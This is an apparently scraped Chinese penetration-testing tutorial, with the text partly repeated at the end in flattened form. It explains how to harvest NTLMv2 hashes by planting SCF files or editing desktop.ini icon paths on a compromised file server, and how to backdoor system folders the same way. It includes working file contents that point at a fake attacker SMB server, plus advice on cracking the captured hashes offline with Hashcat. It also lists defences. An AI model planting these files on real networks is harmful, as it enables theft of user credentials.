渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash
字数 1233 2025-08-29 08:32:01

利用图标文件获取连接文件服务器的NTLMv2 Hash渗透技巧

0x00 技术背景

在渗透测试中,当获得内网文件服务器权限后,如何进一步获取更多用户凭证是一个重要课题。本文介绍通过修改文件服务器上的图标文件,强制用户访问伪造文件服务器并捕获NTLMv2 Hash的方法。

0x01 核心原理

利用SMB协议特性:客户端连接服务端时默认会使用本机用户名和密码hash尝试认证。通过欺骗用户访问伪造文件服务器,可在伪造服务器上抓包获取NTLMv2 Hash。

0x02 实现方法

方法一:添加SCF文件强制访问

SCF文件特性

  • SCF(Shell Command File)是Windows资源管理器命令文件
  • 包含IconFile属性,支持UNC路径
  • 资源管理器打开包含SCF文件的目录时会自动访问IconFile指定的服务器

实施步骤

  1. 在真实文件服务器共享目录创建test.scf文件,内容:
[Shell]
Command=2
IconFile=\\伪造服务器IP\test\test.ico
[Taskbar]
Command=ToggleDesktop
  1. 在伪造服务器上使用Wireshark抓包
  2. 当用户访问真实文件服务器时,自动向伪造服务器发送NTLMv2 Hash

方法二:修改文件夹图标强制访问

Desktop.ini文件特性

  • 存储文件夹自定义设置
  • 包含IconResource属性,支持UNC路径

实施步骤

  1. 修改真实文件服务器上文件夹的desktop.ini文件,添加:
[.ShellClassInfo]
IconResource=\\伪造服务器IP\test\SHELL32.dll,4
[ViewState]
Mode=
Vid=
FolderType=Generic
  1. 在伪造服务器上抓包
  2. 用户访问该文件夹时自动发送NTLMv2 Hash

方法三:系统文件夹后门

高级利用

  1. 修改系统文件夹(如Program Files)的desktop.ini文件
  2. 添加IconResource指向伪造服务器
  3. 需要管理员权限
  4. 用户访问系统文件夹时触发Hash发送

0x03 数据捕获与利用

在伪造服务器上捕获的数据格式:

username::domain:challenge:HMAC-MD5:blob

破解方法:

  • 使用Hashcat进行离线破解
  • 参考Net-NTLMv2破解技术

0x04 防御措施

  1. 文件监控

    • 定期检查.scf和desktop.ini文件
    • 特别关注包含UNC路径的文件
  2. 网络防护

    • 如无必要,禁用139/445端口
    • 配置防火墙规则限制SMB流量
  3. 系统加固

    • 限制对系统文件夹的修改权限
    • 启用SMB签名防止中间人攻击
  4. 用户教育

    • 提高对异常文件行为的警觉性
    • 避免使用高权限账户浏览文件共享

0x05 技术对比

方法 隐蔽性 所需权限 触发条件
SCF文件 普通写权限 访问包含目录
Desktop.ini 普通写权限 访问特定文件夹
系统后门 最高 管理员权限 访问系统目录

0x06 总结

本文介绍了三种通过图标文件获取NTLMv2 Hash的技术,从基础的SCF文件利用到高隐蔽性的系统文件夹后门。防御方应重点关注特殊文件的监控和SMB协议的管控,而渗透测试人员可依据不同场景选择最合适的攻击方法。

利用图标文件获取连接文件服务器的NTLMv2 Hash渗透技巧 0x00 技术背景 在渗透测试中,当获得内网文件服务器权限后,如何进一步获取更多用户凭证是一个重要课题。本文介绍通过修改文件服务器上的图标文件,强制用户访问伪造文件服务器并捕获NTLMv2 Hash的方法。 0x01 核心原理 利用SMB协议特性:客户端连接服务端时默认会使用本机用户名和密码hash尝试认证。通过欺骗用户访问伪造文件服务器,可在伪造服务器上抓包获取NTLMv2 Hash。 0x02 实现方法 方法一:添加SCF文件强制访问 SCF文件特性 : SCF(Shell Command File)是Windows资源管理器命令文件 包含IconFile属性,支持UNC路径 资源管理器打开包含SCF文件的目录时会自动访问IconFile指定的服务器 实施步骤 : 在真实文件服务器共享目录创建test.scf文件,内容: 在伪造服务器上使用Wireshark抓包 当用户访问真实文件服务器时,自动向伪造服务器发送NTLMv2 Hash 方法二:修改文件夹图标强制访问 Desktop.ini文件特性 : 存储文件夹自定义设置 包含IconResource属性,支持UNC路径 实施步骤 : 修改真实文件服务器上文件夹的desktop.ini文件,添加: 在伪造服务器上抓包 用户访问该文件夹时自动发送NTLMv2 Hash 方法三:系统文件夹后门 高级利用 : 修改系统文件夹(如Program Files)的desktop.ini文件 添加IconResource指向伪造服务器 需要管理员权限 用户访问系统文件夹时触发Hash发送 0x03 数据捕获与利用 在伪造服务器上捕获的数据格式: 破解方法: 使用Hashcat进行离线破解 参考Net-NTLMv2破解技术 0x04 防御措施 文件监控 : 定期检查.scf和desktop.ini文件 特别关注包含UNC路径的文件 网络防护 : 如无必要,禁用139/445端口 配置防火墙规则限制SMB流量 系统加固 : 限制对系统文件夹的修改权限 启用SMB签名防止中间人攻击 用户教育 : 提高对异常文件行为的警觉性 避免使用高权限账户浏览文件共享 0x05 技术对比 | 方法 | 隐蔽性 | 所需权限 | 触发条件 | |------|--------|----------|----------| | SCF文件 | 中 | 普通写权限 | 访问包含目录 | | Desktop.ini | 高 | 普通写权限 | 访问特定文件夹 | | 系统后门 | 最高 | 管理员权限 | 访问系统目录 | 0x06 总结 本文介绍了三种通过图标文件获取NTLMv2 Hash的技术,从基础的SCF文件利用到高隐蔽性的系统文件夹后门。防御方应重点关注特殊文件的监控和SMB协议的管控,而渗透测试人员可依据不同场景选择最合适的攻击方法。